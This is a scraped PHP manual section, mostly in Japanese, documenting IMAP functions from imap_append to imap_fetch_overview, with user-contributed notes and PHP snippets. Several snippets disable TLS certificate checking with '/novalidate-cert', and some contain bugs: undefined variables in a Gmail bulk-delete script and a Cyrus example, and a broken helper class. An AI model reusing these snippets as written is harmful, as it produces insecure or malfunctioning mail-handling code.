$ouv=fopen ("$file", "rb");$lir=fread ($ouv, filesize ("$file"));fclose
($ouv);
$attachment = chunk_split(base64_encode($lir));
$msg2 .= "--$boundary\r\n";
$msg2 .= "Content-Transfer-Encoding: base64\r\n";
$msg2 .= "Content-Disposition: attachment; filename=\"$filename\"\r\n";
$msg2 .= "\r\n";
$msg2 .= $attachment . "\r\n";
$msg2 .= "\r\n\r\n";
$msg3 .= "--$boundary--\r\n";
imap_append($stream,"{mail.example.com/novalidate-cert}INBOX.Sent","From: Somebody\r\n"."To: test@example.co.uk\r\n"."Date: $dmy\r\n"."Subject: This is the subject\r\n"."$header\r\n"."$msg2\r\n"."$msg3\r\n");
imap_close ($stream);
?>
kaminski at istori dot com 15-Aug-2010 08:52
The date format string to use when creating $internal_date is 'd-M-Y H:i:s O'.
chris at sma-sportsmgmt dot com 07-Feb-2008 11:06
I spend most of today refining the example to make it work properly when saving to the Inbox.Sent folder.

The append command now looks like:

    $return = imap_append($stream,$mailbox_addr
                       , "From: $fromReply\r\n"
                       . "To: $to\r\n"
                       . "Subject: $subject\r\n"
                       . "Date: $now  \r\n"
              . "X-Mailer: Cmail_v2.0 \r\n"
                       . "X-Originating-IP: $ip_addr \r\n"
                       . "MIME-Version: 1 \r\n"
                       . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
                       . "Content-Transfer-Encoding: 8bit \r\n"
                       . "\r\n\r\n"
                       . "$wk_msg\r\n"
                       );

This inserts the current date into the email and lets it support html content. The one thing that I haven't got working yet is including attachments. I presumably have to make the boundaries and attachment content part of the message body.

Chris
jille at DIESPAMMERShexon dot cx 03-May-2007 07:36
The last argument, $options, are flags like for use with imap_setflag_full.
It took a while before I found out
svicentemolina at gmail dot com 17-Jan-2007 07:57
I have used this function to copy all the emails of one account from one server to another. The problem was that this function don't copy the original receiving date for each message.
To add a fifth field to provide the date, I have made some changes at some php source files following the steps described in http://www.zend.com/lists/php-dev/200303/msg00843.html and it has worked fine.
The correct date format is the returned by the function mail_date in c-client/mail.c source file, for instance: "17-Jan-2007 10:00:01 +0100"
bithive 23-Jun-2003 03:26
The parameter description is misleading.  You can pass a string of flags such as '\Seen' [see imap_setflag_full()] as the last argument.  In the other imap functions, 'options' seems to usually refer to a bitmask, not message flags.
michel dot jansens at ulb dot ac dot be 29-Apr-2003 07:29
I use imap_append() to decode message/rfc822 attachments type(embedded emails):

$attachment = imap_fetchbody($mbox,$mailuid,$atpos,FT_UID);
$attachment = imap_base64($attachment);
$res =  imap_append($mbox,mboxspec("INBOX"),$attachment);
//the embedded email is now a normal mail in my INBOX
bluebiru78 at hotmail dot com 12-Jun-2002 12:24
i used imap_append to copy any composed message into INBOX.Sent folder..

$app = imap_append($stream,"{" . $connectstring . "}INBOX.Sent","$header\r\n" ."$mbody\r\n");

if (!$app) {
 error("Email copying to Sent folder FAILED!");
}
owain at vaughan dot com 01-Aug-2001 06:49
With SIMS IMAP server you also need to use \r\n as a line terminator, otherwise you will be able to add all the header lines correctly, but the body of the message will not be saved.<br>
You can use \n by itself for each header line, but when creating the blank line between the headers and the body you must use \r\n\r\n
jesper at angelo dot dk 14-Sep-1999 09:13
Please observe that imap_append() do not support NNTP posting. Use fsockopen() instead, and do the work yourself.


BASE64 でエンコードされたテキストをデコードする

  • ≪ imap_append
  • imap_binary ≫
  • PHP Manual
  • IMAP 関数
  • BASE64 でエンコードされたテキストをデコードする

imap_base64

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_base64 — BASE64 でエンコードされたテキストをデコードする

説明

imap_base64 ( string $string ) : string|false

BASE64 でエンコードされたテキスト string をデコードします。

パラメータ

string

エンコードされたテキスト。

返り値

デコードしたメッセージを文字列で返します。 失敗した場合に false を返します

参考

  • imap_binary() - 8 ビット文字列を base64 文字列に変換する
  • base64_encode() - MIME base64 方式でデータをエンコードする
  • base64_decode() - MIME base64 方式によりエンコードされたデータをデコードする
  • » RFC2045, Section 6.8

User Contributed Notes

chris at deliens dot be 04-Mar-2011 07:45
Looks like this function has exactly the same behavior as base64_decode($test, true) -> it returns FALSE if $text contains characters outside the Base64 alphabet, although this isn't documented here.


8 ビット文字列を base64 文字列に変換する

  • ≪ imap_base64
  • imap_body ≫
  • PHP Manual
  • IMAP 関数
  • 8 ビット文字列を base64 文字列に変換する

imap_binary

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_binary — 8 ビット文字列を base64 文字列に変換する

説明

imap_binary ( string $string ) : string|false

（» RFC2045, Section 6.8 に基づき）8 ビット文字列を base64 文字列に変換します。

パラメータ

string

8 ビット文字列。

返り値

base64 エンコードされた文字列を返します。 失敗した場合に false を返します

参考

  • imap_base64() - BASE64 でエンコードされたテキストをデコードする

User Contributed Notes

phunction.sf.net 10-Jun-2010 06:26
Calling this function is the same as doing:

<?php

chunk_split(base64_encode($string), 60);

?>


メッセージ本文を読む

  • ≪ imap_binary
  • imap_bodystruct ≫
  • PHP Manual
  • IMAP 関数
  • メッセージ本文を読む

imap_body

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_body — メッセージ本文を読む

説明

imap_body ( resource $imap , int $message_num , int $flags = 0 ) : string|false

imap_body() は、現在のメールボックスにある message_num 番目のメッセージの本文を返します。

imap_body() は、メッセージの本文と全く同じ コピーのみを返します。マルチパート MIME エンコードされたメッセージの 一部を展開するには、その構造を解析するために imap_fetch_structure() を使用し、単一の部分要素の コピーを展開する際には、 imap_fetchbody() を使用する必要があります。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

flags

オプションの flags はビットマスクであり、 以下の要素の組み合わせとなります。

  • FT_UID - message_num は UID です
  • FT_PEEK - 既に設定されていない場合、\Seen フラグを設定しない
  • FT_INTERNAL - 内部フォーマットで文字列を返す。 CRLF に正規化しない。

返り値

指定したメッセージの本文を文字列で返します。 失敗した場合に false を返します

User Contributed Notes

theloverkills at gmail dot com 26-Jan-2017 10:45
Please note that the UID is NOT unique.
UID of the email may be not unique on the server (2 messages in different folders may have same UID).

Basically, don't use the UID as a unique identifier.
deenfirdoush at gmail dot com 14-Dec-2009 07:08
Simple example on how to read body message of the recent mail.

<?php
$imap = imap_open("{pop.example.com:995/pop3/ssl/novalidate-cert}", "username", "password");

if( $imap ) {

     //Check no.of.msgs
     $num = imap_num_msg($imap);

     //if there is a message in your inbox
     if( $num >0 ) {
          //read that mail recently arrived
          echo imap_qprint(imap_body($imap, $num));
     }

     //close the stream
     imap_close($imap);
}
?>


指定したメッセージの指定した body セクションの構造を読み込む

  • ≪ imap_body
  • imap_check ≫
  • PHP Manual
  • IMAP 関数
  • 指定したメッセージの指定した body セクションの構造を読み込む

imap_bodystruct

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_bodystruct — 指定したメッセージの指定した body セクションの構造を読み込む

説明

imap_bodystruct ( resource $imap , int $message_num , string $section ) : stdClass|false

指定したメッセージの指定した body セクションの構造を読み込みます。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

section

読み込む body セクション。

返り値

オブジェクトの情報を返します。 失敗した場合に false を返します オブジェクトの構造やプロパティについての詳細は imap_fetchstructure() を参照ください。

参考

  • imap_fetchstructure() - 特定のメッセージの構造を読み込む

User Contributed Notes

There are no user contributed notes for this page.


現在のメールボックスをチェックする

  • ≪ imap_bodystruct
  • imap_clearflag_full ≫
  • PHP Manual
  • IMAP 関数
  • 現在のメールボックスをチェックする

imap_check

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_check — 現在のメールボックスをチェックする

説明

imap_check ( resource $imap ) : stdClass|false

現在のメールボックスに関する情報を調べます。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

返り値

以下のプロパティをもつオブジェクトの情報を返します。

  • Date - 現在のシステム時刻を » RFC2822 にしたがってフォーマットしたもの。
  • Driver - メールボックスにアクセスする際に使用するプロトコル: POP3、IMAP、NNTP
  • Mailbox - メールボックスの名前。
  • Nmsgs - メールボックス内のメッセージの数。
  • Recent - メールボックス内の新規メッセージの数。

失敗した場合には false を返します。

例

例1 imap_check() の例

<?php

$imap_obj = imap_check($imap_stream);
var_dump($imap_obj);

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)(5) {
  ["Date"]=>
  string(37) "Wed, 10 Dec 2003 17:56:54 +0100 (CET)"
  ["Driver"]=>
  string(4) "imap"
  ["Mailbox"]=>
  string(54)
  "{www.example.com:143/imap/user="foo@example.com"}INBOX"
  ["Nmsgs"]=>
  int(1)
  ["Recent"]=>
  int(0)
}

User Contributed Notes

JUNIOR TELLO 27-Jan-2006 06:43
You can NOT prevent imap_check from flagging new/recent messages when using POP3 enabling the "/readonly" or OP_READONLY flags or options.
erik at phpcastle dot com 13-Dec-2005 07:49
The imap_check ($stream); function will return real-time information about the e-mail box (at least imap) during one connection :)
28-Oct-2004 12:21
You can prevent imap_check from flagging new/recent messages as checked by calling imap_open with the "/readonly" or OP_READONLY flags.
rasmus at flajm dot com 18-Dec-2003 08:06
Running this on a mailbox will mark recent/new messages as checked.


メッセージのフラグをクリアする

  • ≪ imap_check
  • imap_close ≫
  • PHP Manual
  • IMAP 関数
  • メッセージのフラグをクリアする

imap_clearflag_full

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_clearflag_full — メッセージのフラグをクリアする

説明

imap_clearflag_full ( resource $imap , string $sequence , string $flag , int $options = 0 ) : bool

この関数は、指定したシーケンス sequence のメッセージのフラグから、指定したフラグ flag を削除します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

sequence

メッセージ番号のシーケンス。 X,Y のようにメッセージを列挙したり、 X:Y のようにしてその間のすべてのメッセージを指定したりできます。

flag

設定可能なフラグは "\\Seen"、 "\\Answered"、"\\Flagged"、"\\Deleted" および "\\Draft" です (» RFC2060 で定義されています)。

options

オプション options はビットマスクであり、 以下の組み合わせとなります。

  • ST_UID - シーケンス引数はシーケンス番号の代わりに UID を含みます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_setflag_full() - メッセージにフラグをセットする

User Contributed Notes

info at sharoff dot org 16-Oct-2017 09:42
<?php

$connection = imap_open(...);
$messageUid = 123;

imap_clearflag_full($connection, $messageUid, '\\Seen', ST_UID);
Nohado 26-Aug-2010 07:41
I got a note that:

if u want to set a mail to "//Unseen", which not exists,
do it like this:

imap_clearflag_full($your_imap_connection,
$number_of_message,"//Seen");

but, remember to do
imap_close($imap, CL_EXPUNGE);
@ the END! so that it will be confirmed!

Cheers,
Nohado
Mark Hill 30-Jul-2009 03:36
Remember to specify your flags like '\\Seen' rather than "\\Seen".

Of course, flags are an IMAP feature, not a POP feature.

Resetting \\Seen works from PHP 4.3 works fine on the modern mail servers I've tested.
21-Nov-2005 09:42
imap_clearflag_full() and imap_setflag_full() seem to only change messageflags permanently with IMAP connections, not with POP3 connections.
calmdown at abendstille dot at 16-Jan-2003 05:23
This function seems not to save the \\Seen flag permanently.

Testet on Win NT IIS 4.0 PHP 4.3 and imap-mail-server


IMAP ストリームをクローズする

  • ≪ imap_clearflag_full
  • imap_create ≫
  • PHP Manual
  • IMAP 関数
  • IMAP ストリームをクローズする

imap_close

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_close — IMAP ストリームをクローズする

説明

imap_close ( resource $imap , int $flags = 0 ) : bool

IMAP ストリームをクローズします。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

flags

CL_EXPUNGE を指定した場合、メールボックスを閉じる前に暗黙のうちに 削除マークがついた全てのメッセージを削除します。 imap_expunge() を使用して、同じことを行うこともできます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_open() - メールボックスへの IMAP ストリームをオープンする

User Contributed Notes

There are no user contributed notes for this page.


imap_createmailbox のエイリアス

  • ≪ imap_close
  • imap_createmailbox ≫
  • PHP Manual
  • IMAP 関数
  • imap_createmailbox のエイリアス

imap_create

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_create — imap_createmailbox() のエイリアス

説明

この関数は次の関数のエイリアスです。 imap_createmailbox().

User Contributed Notes

There are no user contributed notes for this page.


新しいメールボックスを作る

  • ≪ imap_create
  • imap_delete ≫
  • PHP Manual
  • IMAP 関数
  • 新しいメールボックスを作る

imap_createmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_createmailbox — 新しいメールボックスを作る

説明

imap_createmailbox ( resource $imap , string $mailbox ) : bool

imap_createmailbox() は mailbox で指定された新しいメールボックスを作成します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

メールボックス名。詳細は imap_open() を参照ください。 この名前に国際化文字を含む場合には、 imap_utf7_encode() でエンコードする必要があります。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imap_createmailbox() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
     or die("接続できません: " . imap_last_error());

$name1 = "phpnewbox";
$name2 = imap_utf7_encode("phpnewbox"); // phpnewb&w7Y-x

$newname = $name1;

echo "Newname will be '$name1'<br />\n";

// ここでは inbox フォルダ内に新しいメールボックス "phptestbox" を
// 作成し、その後でメールボックスの状態を確認し、最後にそれを削除して
// もとの状態に戻します。

if (@imap_createmailbox($mbox, imap_utf7_encode("{imap.example.org}INBOX.$newname"))) {
    $status = @imap_status($mbox, "{imap.example.org}INBOX.$newname", SA_ALL);
    if ($status) {
        echo "your new mailbox '$name1' has the following status:<br />\n";
        echo "Messages:   " . $status->messages    . "<br />\n";
        echo "Recent:     " . $status->recent      . "<br />\n";
        echo "Unseen:     " . $status->unseen      . "<br />\n";
        echo "UIDnext:    " . $status->uidnext     . "<br />\n";
        echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";

        if (imap_renamemailbox($mbox, "{imap.example.org}INBOX.$newname", "{imap.example.org}INBOX.$name2")) {
            echo "renamed new mailbox from '$name1' to '$name2'<br />\n";
            $newname = $name2;
        } else {
            echo "imap_renamemailbox on new mailbox failed: " . imap_last_error() . "<br />\n";
        }
    } else {
        echo "imap_status on new mailbox failed: " . imap_last_error() . "<br />\n";
    }

    if (@imap_deletemailbox($mbox, "{imap.example.org}INBOX.$newname")) {
        echo "new mailbox removed to restore initial state<br />\n";
    } else {
        echo "imap_deletemailbox on new mailbox failed: " . implode("<br />\n", imap_errors()) . "<br />\n";
    }

} else {
    echo "could not create new mailbox: " . implode("<br />\n", imap_errors()) . "<br />\n";
}

imap_close($mbox);
?>

参考

  • imap_renamemailbox() - メールボックスの名前を変更する
  • imap_deletemailbox() - メールボックスを削除する

User Contributed Notes

tiznull 20-Mar-2009 11:44
One should understand that even though it says "create mailbox", you are really creating a FOLDER. Now, as a imap admin you can create mailboxes and more with this function.

So in reality, you are always creating folders when creating "mailboxes". Mail admin's get this, but programmers may not understand the concept completely.

If you auth a single user account and use these functions, they will not create mailboxes where mail is delivered, they will actually create a folder where you can copy messages to.

Here is a translation:
imap_createmailbox = create a folder in the account for the current authenticated user's imap session (imap_open)
imap_deletemailbox = delete a folder (and the email in it) for the current authenticated user's imap session (imap_open)
imap_getmailboxes = get all your folders for the current authenticated user's imap session (imap_open)
imap_renamemailbox = Rename a folder for the current authenticated user's imap session (imap_open)

================

Here is a quick class to login to an account, generate all of your base folders, and return the connection, success message and returns all the base folders for an imap account using PHP5:

<?php

class Imap {
    public $folders;
    public $connection;

    public function login($user, $pass) {
        $mbox = @imap_open("{imap.example.org:143}", $user, $pass);
        if(!$mbox)
            return ('Your login failed for user <strong>'.$user.'</strong>. Please try to enter your username and password again.<br />');

        // Login worked, let us begin!!!!....

        // gather folder lost...
        $fldrs_made = 0;
        $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
        // create the default folders....
        if(1 === mailgui::create_default_folders($mbox,$folders)) {
            $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
            $fldrs_made = 1;
        }

        sort($folders);

        $this->folders = $folders;
        $this->connection = $mbox;

        if(1 === $fldrs_made)
            return ('User logged in successfully as '.$user.'. This is your first time logging in, welcome to our webmail!!!<br />');
        else
            return ('User logged in successfully as '.$user.'.<br />');
    }
    private function create_default_folders($imap_stream, $folders) {
        $change=0;
        if(!in_array('{imap.example.org}TRASH',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}TRASH"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SPAM',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SPAM"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}DRAFTS"));
            $change=1;
        }
        if(!in_array('{imap.example.org}MY_FOLDERS',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}PERSONAL EMAIL"));
            $change=1;
        }
        return $change;
    }
    public function close_mail_connection() {
        @imap_close($this->connection);
    }
}

// usage, create a form, post it....
if($_POST['imap_username'] && $_POST['imap_password']) {
    $imap_login = new Imap();
    $imap_login->login($_POST['imap_username'],$_POST['imap_password']);

    // Do some mail stuff here, like get headers...., use obj connection
    $message_headers = imap_mailboxmsginfo($imap_login->connection);

    // show the folders....
    print_r($imap_login->folders, true);

    print '<br /><hr size="1" noshade />';

    print_r($message_headers, true);

    // close the connection
    $imap_login->close_mail_connection();
}

?>


現在のメールボックスから削除するメッセージに印を付ける

  • ≪ imap_createmailbox
  • imap_deletemailbox ≫
  • PHP Manual
  • IMAP 関数
  • 現在のメールボックスから削除するメッセージに印を付ける

imap_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_delete — 現在のメールボックスから削除するメッセージに印を付ける

説明

imap_delete ( resource $imap , string $message_num , int $flags = 0 ) : bool

message_num が指すメッセージに 削除予定のマークをします。削除マークを付けられたメッセージは、 imap_expunge() がコールされるか imap_close() に CL_EXPUNGE を付けてコールされるかのどちらかが行われるまでメールボックスに残ったままになります。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

flags

FT_UID を指定すると、 引数 message_num を UID として処理することを関数に指示できます。

返り値

Returns true.

例

例1 imap_delete() の例

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
    or die("接続できません: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);
echo "Messages before delete: " . $check->Nmsgs . "<br />\n";

imap_delete($mbox, 1);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after  delete: " . $check->Nmsgs . "<br />\n";

imap_expunge($mbox);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after expunge: " . $check->Nmsgs . "<br />\n";

imap_close($mbox);
?>

注意

注意:

IMAP メールボックスは、コネクション間で保存可能なメッセージフラグを持っていません。 そのため、削除マークをつけたメッセージが本当に削除されたことを保証するためには、 同一の接続内で imap_expunge() をコールする必要があります。

参考

  • imap_undelete() - 削除マークがついているメッセージのマークをはずす
  • imap_expunge() - 削除用にマークされたすべてのメッセージを削除する
  • imap_close() - IMAP ストリームをクローズする

User Contributed Notes

Daniel Dafoe 03-Mar-2016 11:24
Just so anyone using this function is aware: if you mark an email to be deleted from a mailbox, that flag does not persist. You need to call imap_expunge() or use the  CL_EXPUNGE option with imap_close() to remove the marked email in the same PHP script you marked it in.

I hope this helps someone out.
rueda dot raul at gmail dot com 05-Dec-2013 02:22
This function seems not to work on "[Gmail]/All Mail" mailbox. This is because Gmails keeps only one copy of the message and mailboxes are no more than labels.
Deleting a message from a mailbox only removes that label (except for "All Mail" mailbox).
To delete from "All Mail" you have to use imap_mail_move() function and move the message to "[Gmail]/Trash" mailbox.

Note: Names of mailboxes in Gmail depends on the language you're using.  E.g.: in Spanish "All Mail" is "Todos" and "Trash" is "Papelera".
erational 25-Mar-2013 02:26
the function is using the message number (and not the uid !)
$uid = $mail->uid;
$msgno = $mail->msgno;

if you want to use the uid, simply option value
imap_delete($mbox, $uid, FT_UID);
Olle 01-Nov-2012 07:46
I couldn't get imap_delete to work when I used it with pop3. Instead i wrote:
<?php
function pop3_dele($connection,$message)
{
    $status = imap_setflag_full($connection, '1:'.$message, '\\Deleted');
    imap_expunge($connection);
    return $status;

    //return(imap_delete($connection,trim($message)));
}
?>
thisemailaddress at gmail dot com 23-Sep-2009 10:48
In case you feel the need to kill all emails from before a certain year on your Gmail account, this would work:

<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));

echo "parsing ini file...\n";
$ini = parse_ini_file('g.ini');
$user = $ini['user'];
$pass = $ini['pass'];
$year = $ini['year'];
echo "account {$user} - killing msgs from before {$year}\n\n";

echo "connecting...\n";
$imap = imap_open("{imap.gmail.com:993/imap/ssl/novalidate-cert}[Gmail]/All Mail", $user, $pass) or die("can't connect: " . imap_last_error() . "\n");

echo "checking current mailbox...\n";
$mbox = imap_check($imap);

echo "fetching overview...\n";
$flaggedForDelete = 0;
for($n = 0; $n < $mbox->Nmsgs; $n++) {
    echo "processing {$n} of {$mbox->Nmsgs}...\r";
    $hdr = imap_fetchheader($imap, $n);
    preg_match('/^Date: (.*?)$/m', $hdr, $matches);
    $date = date_parse(strtotime($matches[1]));
    if($date['year'] < $year) {
        imap_delete($imap, $msg->msgno);
        $flaggedForDelete++;
    }
}

echo "expunging mailbox ({$flaggedForDelete} messages flagged)... ";
echo ((imap_expunge($imap)) ? "ok" : "failed!")."\n";
imap_close($imap);

?>
Alex 23-Apr-2009 12:00
I think you don't have to give a range to imap_delete() if you want to delete a single one.

This works well:

<?php

imap_delete($conn,trim($msgno));

?>
chris at financialservicesonline dot com dot au 28-Jan-2009 03:54
After a little experimentation i found out how to mark a single message for deletion...

<?php

$msgid = '5'; //For example

imap_delete($mbox, "$msgid:$msgid");

?>

imap_delete() seems to want a range, so to select one, simply range from your id to your id.

Hope this helps.
iwantsimplelife at lycos dot com 12-Jan-2009 01:40
Somehow, when ever I try to delete an email using the message number returned by imap_header, any email with a message number below 999 will fail.

I discovered that the imap_header will pad the message number with spaces. You will need to trim the number before calling imap_delete.

I am using qmail and it took me over a month to figure it out.

Hope this will be helpful to some poor soul out there facing the same problem.
jacky at jackyhome dot myvnc dot com 09-Nov-2003 01:42
// is not a complete code but enough to clear out an entire mailbox.
// hope this can save your time :-)

<?php

if (isset($_REQUEST['DoNow']))
{
  # PULL ADDITIONAL FILES
  include_once ("common.php");

  $conn = @imap_open("\{$server/$serverType}Trash", $user, $pass)
  or die("Connection to folder failed");

  $headers = @imap_check($conn);
  ($headers->Nmsgs > 0) or die("Trash is empty already !");

  // delete email(s)
  @imap_delete($conn,'1:*');   // to clear out an entire mailbox.
  @imap_expunge($conn);
  echo "Trash is empty.";

  imap_close($conn);
}
else
{
  echo "<form name='formA' action='".$_SERVER['PATH_INFO']."' method='POST'>"; ?>
  Are you sure to empty trash ?
  <p>
  <input type="submit" value="Go Ahead" name="DoNow">&nbsp;
  <input type="button" value="Cancel" name="Cancel" onClick='javascript:self.history.go(-1)'></form></p>
<?php
} ?>
James G 09-Apr-2003 09:05
I had some major issues deleting emails using this function.  Using IIS 5.0 and a win based Mail Server, I could not delete the emails individually.

My script merely needed to check the emails and update the database for bounce backs, after which I simply wanted to erase all emails.

If imap_delete($mbox,$email->MsgNo) just isnt working for you, you can try using

    imap_delete($mbox,'1:*');

to clear out an entire mailbox.

Hope this helps cause it drove me insane for about 5 hours.  :)


メールボックスを削除する

  • ≪ imap_delete
  • imap_errors ≫
  • PHP Manual
  • IMAP 関数
  • メールボックスを削除する

imap_deletemailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_deletemailbox — メールボックスを削除する

説明

imap_deletemailbox ( resource $imap , string $mailbox ) : bool

指定したメールボックス mailbox を削除します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_createmailbox() - 新しいメールボックスを作る
  • imap_renamemailbox() - メールボックスの名前を変更する
  • mbox の書式については imap_open() - メールボックスへの IMAP ストリームをオープンする

User Contributed Notes

sanin at kset dot org 10-Oct-2006 08:27
When deleting user account(s) from IMAP server don't forget to put full server name and port. Also need to be logged as IMAP admin and set ACL.
This worked for Cyrus:

<?php
//Credentials
$cyrusadmin_username="cyrus";
$cyrusadmin_password="cyruspassword";
$cyrus_serverip="fellowship.ring.net";

//User to delete
$username="frodoBaggins";

//Open the connection to IMAP server (Cyrus)
   $mbox=imap_open("{".$serverip.":143}",$cyrusadmin_username, $cyrusadmin_password, OP_HALFOPEN)
            or die('IMAP Could not connect because '.imap_last_error());
//Set ACL - Give rights to $cyrusadmin_username to delete mailbox
   imap_setacl ($mbox, "user.".$username, $cyrusadmin_username, "lrswipcda")
            or die('Could not setacl on mailbox');
//Delete mailbox
   imap_deletemailbox($mbox,"{".$serverip.":143}user.".$username)
            or die('Could not delete mailbox');
?>
kenstumpf<a>hotmail.com 08-Jan-2004 12:10
Recent versions of the Cyrus imapd define mailbox ACLs as follows:

c (create)
The user may create new sub-mailboxes of the mailbox, or delete or rename the current mailbox.

d (delete)
The user may store the "Deleted" flag, and perform expunges.

This means to delete a mailbox, you will need to give the user you are connecting with via imap_open() "c" rights on the mailbox in order for imap_deletemailbox() to work.  Setting "d" rights for yourself is not the same.

Check the documentation for your version of Cyrus imapd.


発生したすべての IMAP エラーを返す

  • ≪ imap_deletemailbox
  • imap_expunge ≫
  • PHP Manual
  • IMAP 関数
  • 発生したすべての IMAP エラーを返す

imap_errors

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_errors — 発生したすべての IMAP エラーを返す

説明

imap_errors ( ) : array|false

ページのリクエストの間かエラースタックがリセットされて以来 生じた全ての IMAP エラー (存在すれば) を返します。

imap_errors() がコールされると、 処理の終了後にエラースタックがクリアされます。

返り値

この関数は、最後に imap_errors() コールを行ってから、またはそのページの処理を開始してから 発生した全ての IMAP エラーメッセージの配列を返します。 エラーメッセージが存在しない場合には false を返します。

参考

  • imap_last_error() - ページリクエスト時に生じた直近の IMAP エラーを返す
  • imap_alerts() - 発生した IMAP 警告メッセージを返す

User Contributed Notes

Luke Madhanga 24-Nov-2014 05:06
For those curious, this function will return a linear array of strings as opposed to say error_get_last which returns an associative array of different things.

e.g.

 [0 => '[TRYCREATE] No folder {imap.gmail.com} (Failure)']
Brandon Kirsch at perceptionilluminates dot com 29-Jun-2013 06:27
If you do not use imap_errors() to clear the error stack, any errors that remain at the end of the script execution will be raised as PHP Notices.
Jeremy Glover 03-Apr-2007 11:41
When calling imap_close($mbox), notices will be generated for each error that has occurred within the imap functions.  To suppress these error messages (including Mailbox is empty, which is not really an error) simply call imap_errors() and then imap_close($mbox).


削除用にマークされたすべてのメッセージを削除する

  • ≪ imap_errors
  • imap_fetch_overview ≫
  • PHP Manual
  • IMAP 関数
  • 削除用にマークされたすべてのメッセージを削除する

imap_expunge

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_expunge — 削除用にマークされたすべてのメッセージを削除する

説明

imap_expunge ( resource $imap ) : bool

imap_delete()、imap_mail_move()、 あるいは imap_setflag_full() で削除用マークを設定されたすべてのメッセージを削除します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

返り値

true を返します。

User Contributed Notes

Pavel Cernik 29-Apr-2016 02:44
imap_expunge() may change order of messages which were loaded using imap_sort().
That means, if you use foreach() on result of imap_sort() function and each pass you move/delete a message and instantly expunge them, next cycle, messages will have different numbers than imap_sort() returned and the script will fail.
boswachter at xs4all dot nl 12-Jan-2006 07:57
@eisbrenner at gidn dot de

You shouldn't call imap_expunge until before closing the connection. imap_delete tags a message for deletion, imap_expunge deletes all tagged messages. i.e.:
for ($i = 0; $i < $num; $i++) {
  imap_delete($box, $i);
}
imap_expunge($box);

imap_expunge should not be in your inner loop.


指定したメッセージのヘッダ情報の概要を読む

  • ≪ imap_expunge
  • imap_fetchbody ≫
  • PHP Manual
  • IMAP 関数
  • 指定したメッセージのヘッダ情報の概要を読む

imap_fetch_overview

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetch_overview — 指定したメッセージのヘッダ情報の概要を読む

説明

imap_fetch_overview ( resource $imap , string $sequence , int $flags = 0 ) : array|false

この関数は、指定された sequence のメールヘッダを取得してその内容の概要を返します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

sequence

メッセージのシーケンスを指定します。 X,Y 形式で列挙したり、 X:Y 形式でその範囲内のすべてのメッセージを取得したりできます。

flags

sequence には、メッセージのインデックスか、もし flags に FT_UID が含まれている場合は UID が含まれます。

返り値

オブジェクトの配列を返します。各要素が、 それぞれひとつのメッセージのヘッダを表します。 オブジェクトで定義されるのは、存在するプロパティのみです。 以下のプロパティがあります。

  • subject - メッセージの題名(subject)
  • from - 送信者
  • to - 受信者
  • date - 送信日
  • message_id - Message-ID
  • references - このメッセージ ID への参照です
  • in_reply_to - このメッセージ ID への返信です
  • size - サイズ（バイト数）
  • uid - メールボックスにおけるこのメッセージの UID
  • msgno - メールボックスにおけるこのメッセージのシーケンス番号
  • recent - このメッセージには recent フラグが立てられています
  • flagged - フラグが立てられています
  • answered - 返信済みフラグが立てられています
  • deleted - 削除フラグが立てられています
  • seen - 既読フラグが立てられています
  • draft - 草稿フラグが立てられています
  • udate - 受信日時の UNIX タイムスタンプ
この関数は、失敗した時に false を返します。

例

